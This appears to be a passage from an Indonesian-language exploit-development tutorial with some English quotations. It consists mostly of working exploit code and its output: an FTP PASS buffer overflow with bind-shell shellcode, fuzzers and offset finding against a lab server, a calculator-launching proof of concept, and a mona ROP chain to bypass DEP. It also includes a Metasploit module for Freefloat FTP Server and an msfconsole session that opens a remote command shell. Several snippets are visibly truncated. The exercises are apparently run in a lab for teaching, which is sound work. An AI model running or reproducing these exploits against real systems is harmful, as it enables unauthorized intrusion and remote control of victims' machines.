alamat = "\x13\x08\x01\x10"

nop = "\x90"*25


shellcode = (

"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e" +

"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30" +

"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7" +

"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e" +

"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01" +

"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b" +

"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9" +

"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0" +

"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b" +

"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab" +

"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9" +

"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e" +

"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e" +

"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2" +

"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07" +

"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11" +
```

```
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8" +
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d" +
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce" +
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd" +
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5" +
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29" +
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62" +
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c" +
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39" +
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9" +
"\x29\x6b\x60\x28\x23"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.75", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + alamat + nop + shellcode + "\r\n")
s.recv(1024)
s.close()
```

Hasilnya setelah dijalankan exploit tidak bekerja, karena shellcode bind shell dengan port 4444 tidak bisa dipanggil dengan telnet.

Biasanya ada penghalang yang membuat exploit tidak berjalan, di sini dimasukkan \xeb\12 untuk meloncati penghalang tersebut, tidak harus 12, bisa 14, 15, 17, 19, di sinilah seni nya untuk membuat Exploit, harus sering banyak mencoba-coba, trial error.

Berikut perubahan dari exploitnya ditambahkan variabel loncat dengan nilai \xeb\x12.

```
File  Edit  Format  View  Help
import socket

payload = " "
payload += "A"*2561
loncat = "\xeb\x12"
alamat =  \x13\x08\x01\x10"
nop = "\x90"*25

shellcode = (
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xb
```

Tambahkan variabel loncat pada pengiriman pada command PASS.

```
'\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4
'\x29\x6b\x60\x28\x23"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STR
s.connect(("192.168.1.75", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + loncat + alamat + nop
s.recv(1024)
s.close()
```

Berikut exploit dalam bentuk jadi.

```
import socket


payload = ","

payload += "A"*2561

loncat = "\xeb\x12"

alamat = "\x13\x08\x01\x10"

nop = "\x90"*25


shellcode = (

"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e" +

"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30" +

"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7" +

"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e" +

"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01" +

"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b" +

"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9" +
```

```
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0" +
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b" +
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab" +
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9" +
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e" +
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e" +
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2" +
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07" +
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11" +
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8" +
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d" +
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce" +
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd" +
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5" +
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29" +
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62" +
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c" +
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39" +
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9" +
"\x29\x6b\x60\x28\x23"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.75", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + loncat + alamat + nop + shellcode + "\r\n")
s.recv(1024)
s.close()
```

Hasilnya saat dijalankan exploit nya dan menjalankan telnet 192.168.1.75 4444, hasilnya adalah seperti di bawah ini, yaitu mendapatkan akses shell.

```
Telnet 192.168.1.75
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\windows10\Desktop>ver
ver

Microsoft Windows [Version 10.0.10240]

C:\Users\windows10\Desktop>
```

14.18 Egghunter

"Eggs" also plays an important role when it comes to complex exploit development. As we know, in stack-based buffer overflow, the memory is more or less static. That is, we have enough memory to insert our shellcode.

When the "Egg hunter" shellcode is executed, it searches for the unique "tag" that was prefixed with the large payload and starts the execution of the payload.

The next question that comes to our mind is "Why do we need Egg hunter codes for stack-based buffer overflows?"

The Egg hunting technique is used when there are not enough available consecutive memory locations to insert the shellcode. Instead, a unique "tag" is prefixed with shellcode.

Sumber : https://www.exploit-db.com/docs/18482.pdf

Untuk contoh lihat kasus XITAMI

14.19 Bypass DEP dengan Mona

In computer security, executable space protection is the marking of memory regions as non-executable, such that an attempt to execute machine code in these regions will cause an exception. It makes use of hardware features such as the NX bit, or in some cases software emulation of those features. However technologies that somehow emulate or supply an NX bit will usually impose a measurable overhead; while using a hardware-supplied NX bit will impose no measurable overhead.

Sumber : https://en.wikipedia.org/wiki/Executable_space_protection#Windows

Pencegahan Eksekusi Data (DEP) merupakan teknologi perangkat lunak dan keras yang menampilkan pemeriksaan tambahan pada memori untuk membantu menghindari dijalankannya kode berbahaya di dalam sistem Anda. Pada Microsoft Windows XP Service Pack 2 (SP2) dan Microsoft Windows XP Tablet PC Edition 2005, DEP dijalankan oleh perangkat lunak dan keras.

Manfaat utama dari DEP adalah untuk membantu mencegah eksekusi kode dari halaman data. Biasanya, kode tidak dieksekusi dari memori default. DEP yang didukung perangkat keras mendeteksi kode yang dijalankan pada lokasi tersebut, dan menaikkan pengecualian saat eksekusi terjadi. DEP yang didukung oleh perangkat lunak dapat membantu menghindarkan pemanfaatan mekanisme penanganan-pengecualian pada Windows oleh kode berbahaya.

Sumber : https://support.microsoft.com/id-id/kb/875352

DEP tidak digunakan pada Server-Strcpy

fuzz1 - Notepad

File Edit Format View Help

```
#!/usr/bin/python
import socket, sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.251", 10000))

buffer = "A" * 1000

sock.send(buffer)
sock.close()
```

Program fuzzer untuk mengirimkan A sebanyak 1000 ke port 10000

```
C:\Python27>python fuzz1.py

C:\Python27>
```

Program fuzzer dijalankan

```
Registers (FPU)
EAX 00000001
ECX 0023FF9C
EDX 0023FFA8
EBX 00004000
ESP 0023FB70 ASCII "AAAAAAAAAAAAAAAA
EBP 41414141
ESI 00790074
EDI 0069006E

EIP 41414141

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDD000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0
FCW 037F  Prec NEAR,64  Mask    1 1 1
```

Hasilnya mengenai EIP

```
Console
File  Edit  View  Help

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Rapid7\framework\msf3>cd tools

C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

C:\Program Files\Rapid7\framework\msf3\tools>
```

ruby pattern_create.rb 1000

```
fuzz2 - Notepad
File  Edit  Format  View  Help
#!/usr/bin/python
import socket, sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.251, 10000))

buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9A
d0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0
Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj
1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1A
m2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As
3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3A
v4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4
Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb
5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5B
e6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

sock.send(buffer)
sock.close()
```

Masukkan dalam fuzzer hasilnya

Jalankan program fuzz2.py, hasilnya eip menunjukkan nilai 6A413969

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 6A413969
268

C:\Program Files\Rapid7\framework\msf3\tools>
```

ruby pattern_offset 6A413969

Perintah !mona untuk mengetahui keberadaan modules yang terproteksi

Pilih module RPCRT4.dll

Klik kanan, pilih Search for lalu command lalu ketik JMP ESP

Hasil dari JMP ESP

fuzz3 - Notepad

File Edit Format View Help

```
#!/usr/bin/python
import socket, sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.251", 10000))

buffer = "A" * 268

buffer += "\x12\x56\xE8\x77"

buffer += "\x90" * 25

buffer += (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)

sock.send(buffer)
sock.close()
```

PoC untuk exploit menjalankan kalkulator

```
#!/usr/bin/python

import socket, sys


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((sys.argv[1], 10000))


buffer = "A" * 268


buffer += "\x12\x56\xE8\x77"


buffer += "\x90" * 25


buffer += (

"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +

"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +

"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +

"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +

"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
```

)

sock.send(buffer)

sock.close()

Saat exploit dijalankan maka muncul kalkulator di target

DEP di aktifkan untuk Server-Strcpy

```
393  52                PUSH EDX
394  56                PUSH ESI
395  64:8B72 30        MOV ESI,DWORD PTR FS:[
399  8B76 0C           MOV ESI,DWORD PTR DS:[
39C  8B76 0C           MOV ESI,DWORD PTR DS:[
39F  AD                LODS DWORD PTR DS:[ESI]
3A0  8B30              MOV ESI,DWORD PTR DS:[
3A2  8B7E 18           MOV EDI,DWORD PTR DS:[
3A5  8B5F 3C           MOV EBX,DWORD PTR DS:[
3A8  8B5C1F 78         MOV EBX,DWORD PTR DS:[
3AC  8B741F 20         MOV ESI,DWORD PTR DS:[
3B0  01FE              ADD ESI,EDI
3B2  8B4C1F 24         MOV ECX,DWORD PTR DS:[
3B6  01F9              ADD ECX,EDI
3B8  0FB72C51          MOVZX EBP,WORD PTR DS:
3BC  42                INC EDX
3BD  AD                LODS DWORD PTR DS:[ESI]
3BE  813C07 57696E45   CMP DWORD PTR DS:[EDI+
3C5 ^75 F1             JNZ SHORT 0023FBB8
3C7  8B741F 1C         MOV ESI,DWORD PTR DS:[
3CB  01FE              ADD ESI,EDI
```

```
C:\Python27>python fuzz3.py

C:\Python27>_
```

Exploit dijalankan tapi kalkulator tidak muncul

Perintah generate shellcode untuk bypass DEP

!mona rop -m *.dll -cp nonull

```
// alternatively just allocate a large enough buffer and get the rop chain, i.e.:
// unsigned int rop_chain[256];
// int rop_chain_length = create_rop_chain(rop_chain, );

*** [ Python ] ***

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
    0x77c11120,  # ptr to &VirtualProt                    ]
    0x77e82d54,  # MOV EAX,DWORD PTR [                    4.dll]
    0x77ee18f7,  # PUSH EAX # DEC EAX                      [RPCRT4.dll]
    0x77c21d0d,  # POP EBP # RETN [ms
    0x41414141,  # Filler (RETN offset
    0x71ab2b53,  # & push esp # ret
    0x77c52217,  # POP EAX # RETN [ms
    0xfffffdff,  # Value to negate, w
    0x7e44493b,  # NEG EAX # RETN [USE
    0x77df563a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
    0x7c80998d,  # POP EAX # RETN [kernel32.dll]
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x7e44493b,  # NEG EAX # RETN [USER32.dll]
    0x77e81885,  # XCHG EAX,EDX # RETN [RPCRT4.dll]
    0x77c2bd31,  # POP ECX # RETN [msvcrt.dll]
    0x77efc23d,  # &Writable location [RPCRT4.dll]
    0x7c902570,  # POP EDI # RETN [ntdll.dll]
    0x77e90169,  # RETN (ROP NOP) [RPCRT4.dll]
    0x7c87f9b5,  # POP EAX # RETN [kernel32.dll]
    0x90909090,  # nop
    0x71a6131a,  # PUSHAD # RETN [mswsock.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
```

Clear window
Log to file
Copy to clipboard
Appearance
Whole line
Whole table
Address
Message


```
// alternatively just allocate a large enough buffer and get tr
// unsigned int rop_chain[256];
// int rop_chain_length = create_rop_chain(rop_chain, );

*** [ Python ] ***

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
    0x77e82d54,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dl
    0x77ee18f7,  # PUSH EAX # DEC EAX # POP ESI # RETN 0x04 [RP
    0x77c21d0d,  # POP EBP # RETN [msvcrt.dll]
    0x41414141,  # Filler (RETN offset compensation)
    0x71ab2b53,  # & push esp # ret  [WS2_32.DLL]
    0x77c52217,  # POP EAX # RETN [msvcrt.dll]
    0xfffffdff,  # Value to negate, will become 0x00000201
    0x7e44493b,  # NEG EAX # RETN [USER32.dll]
    0x77df563a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
    0x7c80998d,  # POP EAX # RETN [kernel32.dll]
    0xffffffc0,  # Value to negate, will become 0x00000040
    0x7e44493b,  # NEG EAX # RETN [USER32.dll]
    0x77e81885,  # XCHG EAX,EDX # RETN [RPCRT4.dll]
    0x77c2bd31,  # POP ECX # RETN [msvcrt.dll]
    0x77efc23d,  # &Writable location [RPCRT4.dll]
    0x7c902570,  # POP EDI # RETN [ntdll.dll]
    0x77e90169,  # RETN (ROP NOP) [RPCRT4.dll]
    0x7c87f9b5,  # POP EAX # RETN [kernel32.dll]
    0x90909090,  # nop
    0x71a6131a,  # PUSHAD # RETN [mswsock.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
```

```
#!/usr/bin/python
import socket, sys, struct

def create_rop_chain():

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = [
         0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
         0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
         0x77e82d54,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
         0x77ee18f7,  # PUSH EAX # DEC EAX # POP ESI # RETN 0x04 [RPCRT4.dll]
         0x77c21d0d,  # POP EBP # RETN [msvcrt.dll]
         0x41414141,  # Filler (RETN offset compensation)
         0x71ab2b53,  # & push esp # ret  [WS2_32.DLL]
         0x77c52217,  # POP EAX # RETN [msvcrt.dll]
         0xfffffdff,  # Value to negate, will become 0x00000201
         0x7e44493b,  # NEG EAX # RETN [USER32.dll]
         0x77df563a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
         0x7c80998d,  # POP EAX # RETN [kernel32.dll]
         0xffffffc0,  # Value to negate, will become 0x00000040
         0x7e44493b,  # NEG EAX # RETN [USER32.dll]
         0x77e81885,  # XCHG EAX,EDX # RETN [RPCRT4.dll]
         0x77c2bd31,  # POP ECX # RETN [msvcrt.dll]
         0x77efc23d,  # &Writable location [RPCRT4.dll]
         0x7c902570,  # POP EDI # RETN [ntdll.dll]
         0x77e90169,  # RETN (ROP NOP) [RPCRT4.dll]
         0x7c87f9b5,  # POP EAX # RETN [kernel32.dll]
         0x90909090,  # nop
         0x71a6131a,  # PUSHAD # RETN [mswsock.dll]
```

```
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_aja = create_rop_chain()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.251", 10000))
buffer = "A" * 268
buffer += rop_aja
buffer += "\x90" * 25
buffer += (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)

sock.send(buffer)
sock.close()
```

Saat exploit dijalankan kalkulator muncul di target

Materi sisipan

Exploit python dibawa ke metasploit

Komputer target

Masuk direktori tempat metasploit menyimpan exploit

```
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Freefloat FTP Server untuk Windows XP SP0 by kurniawan',
            'Description'    => %q{
                    Untuk hacking Freefloat FTP Server pada Windows XP SP0 aja.
            },
            'Author'         => [
                        '0v3r',     # Initial Discovery
                        'James Fitts'   # Metasploit Module
                    ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
```

Source code exploit Freefloat untuk Windows XP SP0

```
            },
        'Payload'        =>
            {
                'BadChars' => "\x00\x0a\x0d",
            },
        'Platform'       => 'win',
        'Targets'        =>
            [
                [ 'Windows XP SP0', { 'Ret' => 0x77D7754A } ], # jmp esp from user32.dll
            ],
        'DisclosureDate' => 'Dec 05 2010',
        'DefaultTarget' => 0))
end

def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf = make_nops(230) + [target.ret].pack('V')
    buf << make_nops(50)
    buf << payload.encoded
```

Alamat, nops dan jumlah bytes yang dibutuhkan tinggal dimasukkan dalam exploit ruby

```
root@dhcppc4:/usr/share/metasploit-framework/modules/exploits/windows/ftp# pwd
/usr/share/metasploit-framework/modules/exploits/windows/ftp
root@dhcppc4:/usr/share/metasploit-framework/modules/exploits/windows/ftp# nano
freefloatxpsp0.rb
root@dhcppc4:/usr/share/metasploit-framework/modules/exploits/windows/ftp# ls -l freefloatxpsp0.rb
-rw-r--r-- 1 root root 1967 Oct  5 03:12 freefloatxpsp0.rb
root@dhcppc4:/usr/share/metasploit-framework/modules/exploits/windows/ftp#
```

Exploit freefloat

```
oit-framework/modules/exploits/windows/ftp
share/metasploit-framework/modules/exploits/windows/ftp# nano

share/metasploit-framework/modules/exploits/windows/ftp# ls -l freefloatxpsp0.rb
root 1967 Oct  5 03:12 freefloatxpsp0.rb
share/metasploit-framework/modules/exploits/windows/ftp# msfconsole
```

msfconsole

```
exe templates with Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1054 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > search freefloat
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/windows/ftp/freefloatftp_wbem 2012-12-07       excellent  FreeFloat FTP Server Arbitrary File Upload
   exploit/windows/ftp/freefloatxpsp0    2010-12-05       average    Freefloat FTP Server untuk Windows XP SP0 by kurniawan


msf > use exploit/windows/ftp/freefloatxpsp0
msf  exploit(freefloatxpsp0) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP0


msf  exploit(freefloatxpsp0) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf  exploit(freefloatxpsp0) > set rhost 192.168.1.31
rhost => 192.168.1.31
msf  exploit(freefloatxpsp0) > exploit
```

```
msf  exploit(freefloatxpsp0) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf  exploit(freefloatxpsp0) > set rhost 192.168.1.31
rhost => 192.168.1.31
msf  exploit(freefloatxpsp0) > exploit

[*] Started bind handler
[*] Trying target Windows XP SP0...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.31
[*] Command shell session 1 opened (192.168.1.177:34061 -> 192.168.1.31:4444) at 20

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\ftp\Win32>dir
dir
 Volume in drive D has no label.
 Volume Serial Number is 7C22-AC3F

 Directory of D:\ftp\Win32

08/27/2015  11:01 AM    <DIR>          .
08/27/2015  11:01 AM    <DIR>          ..
